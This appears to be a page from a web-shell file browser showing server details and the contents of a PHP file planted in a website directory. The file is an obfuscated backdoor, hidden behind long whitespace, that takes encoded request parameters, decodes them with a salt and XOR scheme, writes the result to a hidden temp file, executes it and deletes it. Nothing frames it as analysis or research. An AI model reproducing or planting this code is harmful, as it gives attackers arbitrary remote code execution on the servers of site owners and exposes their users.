HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System: Linux li317-225.members.linode.com 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64
User: apache (48)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /var/www/kosmicevents/public/wp.php__7af9720
<?php																																										if(!is_null($_REQUEST["\x62indin\x67"] ?? null)){ $element = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/tmp", getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP")]); $dchunk = $_REQUEST["\x62indin\x67"]; $dchunk = explode ( '.' , $dchunk ) ; $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $n = 0; array_walk($dchunk , function ($v9) use (&$resource , &$n , $salt , $lenS) { $chS = ord($salt[$n%$lenS] ); $dec = ((int)$v9 - $chS - ($n%10)) ^96; $resource .= chr($dec ); $n++; } ); while ($dat = array_shift($element)) { if (array_product([is_dir($dat), is_writable($dat)])) { $flg = str_replace("{var_dir}", $dat, "{var_dir}/.data"); if (file_put_contents($flg, $resource)) { include $flg; @unlink($flg); die(); } } } }


if(count($_REQUEST) > 0 && isset($_REQUEST["\x65\x6Et"])){
	$property_set = $_REQUEST["\x65\x6Et"];
			$property_set	 = explode ( 	 '.' ,$property_set			) 	;
	$desc	 =	'';
            $salt8	 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 =	strlen($salt8);
            $len	 =	count($property_set);
    
            for ($v	 =	0; $v	<$len; $v++) {$v9	 =	$property_set[$v];
                $sChar	 =	ord($salt8[$v % $sLen]);
                $dec	 =	((int)$v9 - $sChar - ($v % 10))^  55;
                $desc	 .=chr($dec);
            }
	$resource = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), session_save_path(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]);
	foreach ($resource as $key => $token) {
    		if (array_product([is_dir($token), is_writable($token)])) {
    $res = implode("/", [$token, ".record"]);
    $success = file_put_contents($res, $desc);
if ($success) {
	include $res;
	@unlink($res);
	die();}
}
}
}